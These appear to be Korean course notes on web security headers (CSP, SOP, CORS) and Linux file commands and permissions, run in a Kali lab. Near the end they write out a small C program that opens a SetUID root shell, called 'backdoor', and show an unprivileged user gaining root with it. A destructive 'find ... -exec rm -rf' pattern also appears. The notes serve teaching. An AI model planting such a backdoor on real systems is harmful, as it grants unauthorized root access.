https://developer.mozilla.org/ko/docs/Web/HTTP/CSP
https://ko.wikipedia.org/wiki/%EC%BD%98%ED%85%90%EC%B8%A0_%EB%B3%B4%EC%95%88_%EC%A0%95%EC%B1%85
교차 사이트 스크립팅(XSS)과 데이터 주입 공격을 비롯한 특정 유형의 공격을 탐지하고 완화하는 데 도움이 되는 추가 보안 계층이며 이러한 공격은 데이터 절도에서 사이트 훼손, 멜 웨어 배포에 이르기까지의 모든 것에 사용됨
CSP를 활성화하려면 Content-Security-Policy (en-US) HTTP 헤더를 반환하도록 웹 서버를 구성해야 함 (가끔씩 X-Content-Security-Policy 헤더를 볼 수도 있지만, 이는 이전 버전이므로 더 이상 설정할 필요 X)
컨텐츠 보안 정책 구성은 Content-Security-Policy (en-US) HTTP 헤더를 웹 페이지에 추가하고 사용자 에이전트가 해당 페이지에 대해 로드할 수 있는 리소스를 제어하는 값을 지정하는 작업이 수반됨
▫ 예를 들어 이미지를 업로드하고 표시하는 페이지는 어디에서나 이미지를 허용할 수 있지만 폼 작업은 특정 엔드 포인트로 제한 가능
적절하게 설계된 콘텐츠 보안 정책은 교차 사이트 스크립팅 공격으로부터 페이지를 보호하는 데 도움이 됨
신뢰된 웹 페이지 콘텍스트에서
📢 여기서 잠깐! 신뢰된 웹 페이지 콘텍스트란?
믿을 수 있는 웹 사이트로부터 제공된 페이지
악의적인 콘텐츠를 실행하게 하는 사이트 간 스크립팅(XSS), 클릭재킹, 그리고 기타 코드 인젝션 공격을
📢 여기서 잠깐! 악의적인 콘텐츠룰 실행한다는 의미는?
웹 브라우저에서 의도하지 않은 또는 공격자가 심어 놓은 코드가 실행
예방하기 위해 도입된 컴퓨터 보안 표준
웹 애플리케이션 보안의 W3C 워킹 그룹의 후보 권고안이며 현대의 웹 브라우저에 폭넓게 지원됨
CSP는 웹사이트 소유자들이 승인된 콘텐츠 오리진(origin)을 선언할 수 있게 하는 표준 방식을 제공하며
💡 컨텐츠를 제공하는 사람이 해당 컨텐츠의 출처를 기술할 수 있게 함
이를 통해 해당 웹 사이트들로부터 브라우저들이
자바스크립트, CSS, 프레임, 웹 워커, 글꼴, 이미지,
그리고 자바 애플릿, 액티브X, 오디오 및 비디오 파일,
그리고 기타 HTML5 기능들을
💡 위의 예들은 모두 웹 컨텐츠
사용할 수 있게 허용이 가능해짐
https://content-security-policy.com/browser-test/
Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' www.googletagmanager.com platform.twitter.com syndication.twitter.com static.ads-twitter.com 'sha256-ewTm8QMx/IkmbIFAIapvCHoCrGgIIHhn8qKC7/5Y2Ro='
'unsafe-hashes' 'sha256-mplq9U9bn5xLaFQjbIOde0Eu7cXsI2xaTPex2jLztp0='
". Either the 'unsafe-inline' keyword, a hash ('sha256-Tp3DprVaw705+T32OJCWsffouY/zcJLOZrl1JYbbzz0='),
or a nonce ('nonce-...') is required to enable inline execution.
<script>
//if CSP is supported this will not run
window.onload=function(){
var jsNode = document.getElementById("jsNode");
jsNode.innerHTML = "<h3> CSP Not Supported</h3> Your browser does not support CSP, the inline script executed and replaced this div content";
jsNode.className = "alert alert-danger";
};
</script>
default-src 'none';
script-src 'self' --+ external script인 경우
| 해당 출처의 것만 사용이 가능
www.googletagmanager.com |
platform.twitter.com |
syndication.twitter.com |
static.ads-twitter.com --+
# internal script인 경우 해당 해시와 일치하는 경우에만 사용 가능
'sha256-ewTm8QMx/IkmbIFAIapvCHoCrGgIIHhn8qKC7/5Y2Ro='
# inline script인 경우 해당 해시와 일치하는 경우에만 사용 허용
'unsafe-hashes'
'sha256-mplq9U9bn5xLaFQjbIOde0Eu7cXsI2xaTPex2jLztp0=';
style-src 'self' cdnjs.cloudflare.com fonts.googleapis.com 'sha256-akbuxUDobAg86+TiT5p8TENoFqlhtGWtEqHedhVNujw='; font-src fonts.gstatic.com cdnjs.cloudflare.com;
img-src 'self' syndication.twitter.com t.co analytics.twitter.com;
frame-src platform.twitter.com;
connect-src *.google-analytics.com
http://www.test.com:80/path/file?param=value#page
~~~~ ~~~~~~~~~~~~ ~~
| | |
| | +-- 포트 번호
| +-- 호스트 주소 → IP 주소 or 도메인 주소
+-- 스킴 = 프로토콜
http://www.test.com/files/mydoc.txt
http://www.test.com/datas/mydata
→ mydoc.txt와 mydata는 스킴, 호스트 주소, 포트 번호(생략된 80포트)가 모두 동일하므로 같은 출처의 자원
http://www.test.com/files/mydoc.txt
https://www.test.com/datas/mydata
→ 스킴이 다르므로 다른 출처의 자원
http://www.test.com/files/mydoc.txt
http://web.test.com/datas/mydata
→ 호스트 주소가 다르므로 다른 출처의 자원
http://www.test.com/files/mydoc.txt
http://www.test.com:80/datas/mydata
→ 브라우저에 따라 동일 출처로 보기도 하고 다른 출처로 보기도 함
교차 기원 자원 요청
c:\Users\r2com> mkdir c:\test
c:\Users\r2com> cd c:\test
c:\test> code .
c:\test> python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/)
→ 파이썬 기본 웹 서버 실행
명령어를 실행한 디렉터리를 웹 루트 디렉터리로 인식
http://localhost:8000/file_name 형식으로 해당 디렉터리의
파일에 접근이 가능
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>Hello!!!</h1>
</body>
</html>
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://code.jquery.com/jquery-3.7.1.js"></script>
<script>
$(() => {
$('h1').css('color', 'red');
})
</script>
</head>
<body>
<h1>Hello!!!</h1>
<img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />
</body>
</html>
해당 문서의 출처
http://localhost:8000
이미지의 출처
https://i.pinimg.com
스크립트의 출처
https://code.jquery.com
문서의 출처와 이미지 및 스크립트의 출처가 다름에도 불구하고 해당 문서에서 이미지와 스크립트를 가져와서 사용하는 것이 가능
→ 교차 출처 자원 요청이 가능
보안적인 이유로 스크립트를 이용해 가져오는 리소스는 같은 출처로 제한
→ SOP
💡 스크립트를 이용해 가져오는 리소스
= AJAX 통신을 통해서 가져오는 리소스
https://developer.mozilla.org/ko/docs/Web/Security/Same-origin_policy
어떤 출처에서 불러온 문서나 스크립트가 다른 출처에서 가져온 리소스와 상호 작용할 수 있는 방법을 제한하는 중요한 보안 메커니즘
잠재적 악성 문서를 격리하여 가능한 공격 벡터를 줄이는 데 도움이 됨
예를 들어, 인터넷의 악의적인 웹사이트가 브라우저에서 JS를 실행하여 (사용자가 로그인 한) 타사 웹메일 서비스나 회사 인트라넷(공용 IP 주소가 없어 공격자의 직접적인 접근으로부터 보호)에서 데이터를 읽고 공격자에게 전달하는 공격이 있다면 이를 방지함
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://code.jquery.com/jquery-3.7.1.js"></script>
<script>
function setUserInfo() {
const xhr = new XMLHttpRequest();
xhr.onload = function() {
document.getElementById("userinfo").innerHTML = this.responseText;
}
xhr.open('GET', 'http://localhost:8000/datas/myinfo', true);
xhr.send();
}
$(() => {
$('h1').css('color', 'red');
setUserInfo();
})
</script>
</head>
<body>
<h1>Hello!!!</h1>
<img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />
<div id="userinfo"></div>
</body>
</html>
▫ 해당 페이지와 같은 출처(http://localhost:8000)의 리소스(myinfo)는 자바스크립트를 이용해 가져오고 사용할 수 있음
# 9000번 포트로 서버 실행
c:\test> python -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
c:\Users\crpark> curl http://localhost:9000/datas/myinfo
{ "name": "홍길동", "age": 23, "email": "hong@test.com" }
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://code.jquery.com/jquery-3.7.1.js"></script>
<script>
function setUserInfo() {
const xhr = new XMLHttpRequest();
xhr.onload = function() {
document.getElementById("userinfo").innerHTML = this.responseText;
}
xhr.open('GET', 'http://localhost:9000/datas/myinfo', true);
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
xhr.send();
}
$(() => {
$('h1').css('color', 'red');
setUserInfo();
})
</script>
</head>
<body>
<h1>Hello!!!</h1>
<img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />
<div id="userinfo"></div>
</body>
</html>
문서의 출처 → http://localhost:8000
JavaScript로 가져오는 리소스의 출처 → http://localhost:9000
포트가 상이
→ 문서의 출처와 리소스의 출처가 다름
→ 해당 문서에 리소스를 가져왔으나 사용할 수는 없음
→ SOP 어긋남
→ 자바스크립트를 이용해 가져오는 리소스는 동일 출처로 제한
https://developer.mozilla.org/ko/docs/Web/HTTP/CORS
추가 HTTP 헤더를 사용하여
💡 HTTP 헤더
→ Access-Control-Allow-Origin
한 출처에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에 알려주는 체제
웹 애플리케이션은 리소스가 자신의 출처(도메인, 프로토콜, 포트)와 다를 때 교차 출처 HTTP 요청을 실행
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://code.jquery.com/jquery-3.7.1.js"></script>
<script>
function setUserInfo() {
const xhr = new XMLHttpRequest();
xhr.onload = function() {
document.getElementById("userinfo").innerHTML = this.responseText;
}
xhr.open('GET', 'https://microsoftedge.github.io/Demos/json-dummy-data/64KB.json', true);
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
xhr.send();
}
$(() => {
$('h1').css('color', 'red');
setUserInfo();
})
</script>
</head>
<body>
<h1>Hello!!!</h1>
<img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />
<div id="userinfo"></div>
</body>
</html>
문서의 출처 → http://localhost:8000
자바스크립트로 가져오는 리소스의 출처 → https://microsoftedge.github.io
문서의 출처와 리소스의 출처가 다름에도 불구하고 해당 문서에 리소스를 사용할 수 있는 것은 Access-Control-Allow-Origin 응답 헤더의 값 범위 문서의 출처가 포함되어 있기 때문
파일의 최종 접속 시간, 수정 시간 등 타임스탬프를 변경
┌──(kali㉿kali)-[~]
└─$ mkdir LAB
┌──(kali㉿kali)-[~]
└─$ cd LAB
┌──(kali㉿kali)-[~/LAB]
└─$ touch myfile
~~~~~~
# 파일명 → 해당 파일이 존재하지 않으면 크기가 0인 빈 파일 생성
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Mar 29 01:10 myfile
┌──(kali㉿kali)-[~/LAB]
└─$ touch -t 202401012255 myfile
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jan 1 22:55 myfile
┌──(kali㉿kali)-[~/LAB]
└─$ touch newfile
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jan 1 22:55 myfile
-rw-r--r-- 1 kali kali 0 Mar 29 01:14 newfile
┌──(kali㉿kali)-[~/LAB]
└─$ touch -r myfile newfile
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jan 1 22:55 myfile
-rw-r--r-- 1 kali kali 0 Jan 1 22:55 newfile
→ myfile의 시간과 동일하게 변경
파일 또는 디렉터리 검색 명령어
find / -name file -exec rm -rf {}\;
~ ~~~~~~~~~~ ~~~~~~~~~~~~~~~~~
| | |
| | +-- 액션
| +-- 검색 조건
+-- 검색 범위
🔍 조건
조건 | 뜻 |
---|---|
-name | 이름으로 검색 |
-type | 파일 타입으로 검색 (d: 디렉터리, f: 파일) |
-perm | 권한으로 검색 |
-user | 소유자로 검색 |
-size | 파일 크기로 검색 (+ : 이상, - : 이하) |
C, K, M, G | |
-atime | 파일의 마지막 접근 시간으로 검색 |
-mtime | 파일의 마지막 수정 시간으로 검색 |
🔍 액션
액션 | 뜻 |
---|---|
-ls | 결과 출력 |
-exec | 검색한 파일을 특정 명령어로 실행 |
→ 예) -exec 실행할명령어 {}\; |
┌──(kali㉿kali)-[~/LAB]
└─$ ls
myfile newfile
┌──(kali㉿kali)-[~/LAB]
└─$ rm -rf *
zsh: sure you want to delete all 2 files in /home/kali/LAB [yn]? y
┌──(kali㉿kali)-[~/LAB]
└─$ touch bbb
┌──(kali㉿kali)-[~/LAB]
└─$ touch ccc
┌──(kali㉿kali)-[~/LAB]
└─$ touch ddd
┌──(kali㉿kali)-[~/LAB]
└─$ find ~/ -name LAB -type d -ls
4372376 4 drwxr-xr-x 2 kali kali 4096 Mar 29 01:25 /home/kali/LAB
┌──(kali㉿kali)-[~/LAB]
└─$ find ~/ -name bbb -type f -exec rm -f {} \;
┌──(kali㉿kali)-[~/LAB]
└─$ ls
ccc ddd
┌──(kali㉿kali)-[~/LAB]
└─$ rm -rf *
zsh: sure you want to delete all 2 files in /home/kali/LAB [yn]? y
┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello Kali" > org_file
┌──(kali㉿kali)-[~/LAB]
└─$ cp org_file org_file_cp # 원본 파일의 복사본 생성 → cp 명령 이용
┌──(kali㉿kali)-[~/LAB]
└─$ ln org_file org_file_hl # 원본 파일의 하드 링크 파일 생성 → ln 명령 이용
┌──(kali㉿kali)-[~/LAB]
└─$ ln -s org_file org_file_sl # 원본 파일의 심볼릭 링크 파일 생성 → ln -s 명령 이용
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 12
-rw-r--r-- 2 kali kali 11 Mar 29 01:35 org_file
-rw-r--r-- 1 kali kali 11 Mar 29 01:36 org_file_cp
-rw-r--r-- 2 kali kali 11 Mar 29 01:35 org_file_hl
lrwxrwxrwx 1 kali kali 8 Mar 29 01:38 org_file_sl -> org_file
~~~~~~~~~~ ~ ~~~~~~~~~ ~~ ~~~~~~~~~~~~ ~~~~~~~~~~~
| | | | | 파일 이름
| | | | +-- 파일 변경 일시
| | | +-- 파일 크기(byte) → 심볼릭 링크인 경우 원본 파일의
| | | 파일명 길이가 파일 크기로 설정
| | +-- 파일 소유자 이름 + 파일 소유자 그룹 이름
| +-- 링크 수
+-- 파일 유형 + 파일 허가권
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file
Hello Kali → 모든 파일의 내용이 동일
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_cp
Hello Kali
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_hl
Hello Kali
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_sl
Hello Kali
┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello Linux" >> org_file
~~
# 기존 파일에 내용을 추가(append)
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 12
-rw-r--r-- 2 kali kali 23 Mar 29 01:48 org_file
-rw-r--r-- 1 kali kali 11 Mar 29 01:36 org_file_cp
-rw-r--r-- 2 kali kali 23 Mar 29 01:48 org_file_hl
lrwxrwxrwx 1 kali kali 8 Mar 29 01:38 org_file_sl -> org_file
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file
Hello Kali
Hello Linux
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_cp → 복사한 파일을 제외하고 모두 내용이 변경된 것을 확인
Hello Kali
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_hl
Hello Kali
Hello Linux
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_sl
Hello Kali
Hello Linux
┌──(kali㉿kali)-[~/LAB]
└─$ rm -f org_file
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 8
-rw-r--r-- 1 kali kali 11 Mar 29 01:36 org_file_cp
-rw-r--r-- 1 kali kali 23 Mar 29 01:48 org_file_hl
lrwxrwxrwx 1 kali kali 8 Mar 29 01:38 org_file_sl -> org_file
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_cp
Hello Kali
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_hl
Hello Kali
Hello Linux
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_sl
cat: org_file_sl: No such file or directory
→ 원본 파일이 삭제되면 심볼릭 링크는 내용을 확인할 수 없음
┌──(kali㉿kali)-[~/LAB]
└─$ rm -f *
zsh: sure you want to delete all 3 files in /home/kali/LAB [yn]? y
┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello Kali" > org_file
┌──(kali㉿kali)-[~/LAB]
└─$ ln org_file org_file_hl
┌──(kali㉿kali)-[~/LAB]
└─$ ln -s org_file org_file_sl
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 8
-rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file
-rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file_hl
lrwxrwxrwx 1 kali kali 8 Mar 29 01:55 org_file_sl -> org_file
┌──(kali㉿kali)-[~/LAB]
└─$ ls -il
total 8
4372675 -rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file
4372675 -rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file_hl
4372680 lrwxrwxrwx 1 kali kali 8 Mar 29 01:55 org_file_sl -> org_file
~~~~~~~
# i-node
구분 | 하드 링크 | 심볼릭 링크 |
---|---|---|
ln 명령어 옵션 | X | -s |
링크 개수 | 링크마다 1씩 증가 | 링크 개수 증가 X |
파일 용량 | 원본 용량과 동일 | 원본 파일명의 길이 |
다른 파일 시스템 | 불가 | 가능 |
디렉터리 | 불가 | 가능 |
원본 파일 내용 | 접근 가능 | 접근 가능 |
파일 내용 수정 | 수정 가능 | 수정 가능 |
원본 파일 삭제 | 링크 파일 접근 가능 | 링크 파일 접근 불가 → 고아 링크 |
퍼미션 | 퍼미션 의미 있음 | 의미 없음 |
u g o
7 5 5
111 101 101
rwx r-x r-x
chmod 777 sample.txt
chown tester.tester sample.txt → 소유자와 그룹을 tester로 변경
chown tester sample.txt
chgrp tester sample.txt
┌──(kali㉿kali)-[~/LAB]
└─$ sudo adduser gildong → 사용자 추가
[sudo] password for kali: kali
info: Adding user `gildong' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `gildong' (1002) ...
info: Adding new user `gildong' (1002) with group `gildong (1002)' ...
info: Creating home directory `/home/gildong' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for gildong
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
info: Adding new user `gildong' to supplemental / extra groups `users' ...
info: Adding user `gildong' to group `users' ...
┌──(kali㉿kali)-[~/LAB]
└─$ touch sample
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Mar 29 02:40 sample
┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello" >> sample → sample 파일을 읽고 쓸 수 있음
┌──(kali㉿kali)-[~/LAB]
└─$ cat sample
Hello
┌──(kali㉿kali)-[~/LAB]
└─$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),106(bluetooth),113(scanner),135(wireshark),137(kaboxer)
┌──(kali㉿kali)-[~/LAB]
└─$ sudo su gildong
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ id
uid=1002(gildong) gid=1002(gildong) groups=1002(gildong),100(users)
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l
total 4
-rw-r--r-- 1 kali kali 6 Mar 29 02:40 sample
~~~
# gildong은 sample 파일을 읽는 것만 가능
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ cat sample
Hello
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ echo "Kali" >> sample
→ 쓰기 권한이 없기 때문에 권한 오류 발생
bash: sample: Permission denied
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ exit
exit
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 4
-rw-r--r-- 1 kali kali 6 Mar 29 02:40 sample
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 646 sample → chmod o+w sample 동일
~~~
┌──(kali㉿kali)-[~/LAB] u: user +: 추가 r: 읽기
└─$ ls -l g: group -: 삭제 w: 쓰기
total 4 o: other x: 실행
-rw-r--rw- 1 kali kali 6 Mar 29 02:40 sample
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l
total 4
-rw-r--rw- 1 kali kali 6 Mar 29 02:40 sample
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ echo "Kali" >> sample
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ cat sample
Hello
Kali
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ exit
exit
┌──(kali㉿kali)-[~/LAB]
└─$ rm -f *
zsh: sure you want to delete the only file in /home/kali/LAB [yn]? y
파일의 기본 권한은 666, 디렉터리의 기본 권한은 777
해당 시스템에 설정된 umask 값 만큼 기본 권한에 제거한 권한을 파일과 디렉터리에 부여
umask 값에 보수를 취한 다음 AND 연산해서 권한을 설정
┌──(kali㉿kali)-[~/LAB]
└─$ touch myfile
┌──(kali㉿kali)-[~/LAB]
└─$ mkdir mydir
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 4
drwxr-xr-x 2 kali kali 4096 Mar 29 02:58 mydir → 755
-rw-r--r-- 1 kali kali 0 Mar 29 02:58 myfile → 644
┌──(kali㉿kali)-[~/LAB]
└─$ umask → 현재 설정된 umask 값 확인
022
┌──(kali㉿kali)-[~/LAB]
└─$ umask 775 → umask 값 변경
┌──(kali㉿kali)-[~/LAB]
└─$ umask
0775
┌──(kali㉿kali)-[~/LAB]
└─$ touch newfile
┌──(kali㉿kali)-[~/LAB]
└─$ touch newdir
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 4
drwxr-xr-x 2 kali kali 4096 Mar 29 02:58 mydir
-rw-r--r-- 1 kali kali 0 Mar 29 02:58 myfile
--------w- 1 kali kali 0 Mar 29 03:07 newdir → 002
--------w- 1 kali kali 0 Mar 29 03:07 newfile → 002
775 ⇒ (이진수) ⇒ 111 111 101 ⇒ (보수) ⇒ 000 000 010
777 ⇒ (이진수) ⇒ 111 111 111
AND ⇒ 000 000 010 ⇒ (십진수) 002
666 ⇒ (이진수) ⇒ 110 110 110
AND ⇒ 000 000 010 ⇒ (십진수) 002
┌──(kali㉿kali)-[~/LAB]
└─$ umask 22
┌──(kali㉿kali)-[~/LAB]
└─$ umask
022
┌──(kali㉿kali)-[~/LAB]
└─$ rm -f *
zsh: sure you want to delete all 4 files in /home/kali/LAB [yn]? y
rm: cannot remove 'mydir': Is a directory
SetUID 4xxx → 파일 소유자의 ID로 유효 사용자(EUID)가 변경되어 실행
SetGID 2xxx
Sticky Bit 1xxx
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 72344 Oct 15 13:10 /usr/bin/passwd → 실행 파일
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l /etc/shadow → 사용자의 패스워드 정보가 들어 있는 파일
-rw-r----- 1 root shadow 1657 Mar 29 02:38 /etc/shadow
┌──(kali㉿kali)-[~/LAB]
└─$ touch setuid
┌──(kali㉿kali)-[~/LAB]
└─$ touch setgid
┌──(kali㉿kali)-[~/LAB]
└─$ touch sticky
┌──(kali㉿kali)-[~/LAB]
└─$ ll
total 0
-rw-r--r-- 1 kali kali 0 Mar 29 03:41 setgid
-rw-r--r-- 1 kali kali 0 Mar 29 03:41 setuid
-rw-r--r-- 1 kali kali 0 Mar 29 03:41 sticky
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 4666 setuid → 4000(setuid) + 666(rw-rw-rw-)
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 2666 setgid → 2000(setgid) + 666(rw-rw-rw-)
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 1666 sticky → 1000(sticky) + 666(rw-rw-rw-)
┌──(kali㉿kali)-[~/LAB]
└─$ ll → ls -l
total 0
-rw-rwSrw- 1 kali kali 0 Mar 29 03:41 setgid
-rwSrw-rw- 1 kali kali 0 Mar 29 03:41 setuid
-rw-rw-rwT 1 kali kali 0 Mar 29 03:41 sticky
→ 특수 권한을 부여하면 실행 권한 부분에 특수 권한 표시
SetUID, SetGID는 user와 group 자리에 S로 표시
Sticky Bit는 other 자리에 T로 표시
┌──(kali㉿kali)-[~/LAB]
└─$ chmod u+x setuid
┌──(kali㉿kali)-[~/LAB]
└─$ chmod g+x setgid
┌──(kali㉿kali)-[~/LAB]
└─$ chmod o+x sticky
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-rwsrw- 1 kali kali 0 Mar 29 03:41 setgid
-rwsrw-rw- 1 kali kali 0 Mar 29 03:41 setuid
-rw-rw-rwt 1 kali kali 0 Mar 29 03:41 sticky
→ 특수 권한이 부여된 파일에 실행 권한이 있는 경우
특수 권한을 소문자로 표시
┌──(kali㉿kali)-[~/LAB]
└─$ sudo find / -perm 4000 → 권한이 정확하게 4000과 일치하는 것 검색
4000(SetUID) + 000(--- --- ---)
┌──(kali㉿kali)-[~/LAB]
└─$ sudo find / -perm -4000 → SetUID가 설정된 모든 권한(4000 ~ 4777) 검색
┌──(kali㉿kali)-[~/LAB]
└─$ sudo su
┌──(root㉿kali)-[/home/kali/LAB]
└─# gedit backdoor.c
#include <stdio.h>
int main() {
setuid(0);
setgid(0);
system("/bin/sh");
return 0;
}
┌──(root㉿kali)-[/home/kali/LAB]
└─# gcc -o backdoor backdoor.c
┌──(root㉿kali)-[/home/kali/LAB]
└─# ls -l
total 20
-rwxr-xr-x 1 root root 16056 Mar 29 03:59 backdoor
-rw-r--r-- 1 root root 90 Mar 29 03:58 backdoor.c
-rw-rwsrw- 1 kali kali 0 Mar 29 03:41 setgid
-rwsrw-rw- 1 kali kali 0 Mar 29 03:41 setuid
-rw-rw-rwt 1 kali kali 0 Mar 29 03:41 sticky
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod o-x backdoor → other의 실행 권한 제거
┌──(root㉿kali)-[/home/kali/LAB]
└─# ls -l backdoor
-rwxr-xr-- 1 root root 16056 Mar 29 03:59 backdoor
┌──(root㉿kali)-[/home/kali/LAB]
└─# cp backdoor backdoor_4744
┌──(root㉿kali)-[/home/kali/LAB]
└─# cp backdoor backdoor_4755
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod 4744 backdoor_4744
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod 4755 backdoor_4755
┌──(root㉿kali)-[/home/kali/LAB]
└─# ls -l backdoor*
-rwxr-xr-- 1 root root 16056 Mar 29 03:59 backdoor
-rwsr--r-- 1 root root 16056 Mar 29 04:02 backdoor_4744
→ 실행 가능한 파일에 SetUID가 설정
-rwsr-xr-x 1 root root 16056 Mar 29 04:02 backdoor_4755
-rw-r--r-- 1 root root 90 Mar 29 03:58 backdoor.c
터미널을 하나 더 열어서 진행
┌──(kali㉿kali)-[~/LAB]
└─$ sudo su gildong → gildong 사용자로 전환
[sudo] password for kali:
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l backdoor*
-rwxr-xr-- 1 root root 16056 Mar 29 03:59 backdoor
-rwsr--r-- 1 root root 16056 Mar 29 04:02 backdoor_4744
-rwsr-xr-x 1 root root 16056 Mar 29 04:02 backdoor_4755
→ gildong 사용자가 실행이 가능하고 실행 시점에
파일 소유자(root)의 권한을 일시적으로 가지게 됨
-rw-r--r-- 1 root root 90 Mar 29 03:58 backdoor.c
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ id
uid=1002(gildong) gid=1002(gildong) groups=1002(gildong),100(users)
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ./backdoor
bash: ./backdoor: Permission denied
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ./backdoor_4744
bash: ./backdoor_4744: Permission denied
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ./backdoor_4755
# id
uid=0(root) gid=0(root) groups=0(root),100(users),1002(gildong)
~~~~~~~~~~~~~~~~~~~~~~~~~
# exit
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ id
uid=1002(gildong) gid=1002(gildong) groups=1002(gildong),100(users)
┌──(root㉿kali)-[/home/kali/LAB]
└─# find / -user root -perm -4000
:
/usr/sbin/pppd
:
┌──(root㉿kali)-[/home/kali/LAB]
└─# cd /usr/sbin
┌──(root㉿kali)-[/usr/sbin]
└─# ls -l pppd
-rwsr-xr-x 1 root root 16160 Mar 28 19:16 pppd
┌──(root㉿kali)-[/usr/sbin]
└─# pppd --help
pppd version 2.4.9
Usage: pppd [ options ], where options are:
<device> Communicate over the named device
<speed> Set the baud rate to <speed>
<loc>:<rem> Set the local and/or remote interface IP
addresses. Either one may be omitted.
asyncmap <n> Set the desired async map to hex <n>
auth Require authentication from peer
connect <p> Invoke shell command <p> to set up the serial line
crtscts Use hardware RTS/CTS flow control
defaultroute Add default route through interface
file <f> Take options from file <f>
modem Use modem control lines
mru <n> Set MRU value to <n> for negotiation
See pppd(8) for more options.
┌──(root㉿kali)-[/usr/sbin]
└─# pppd
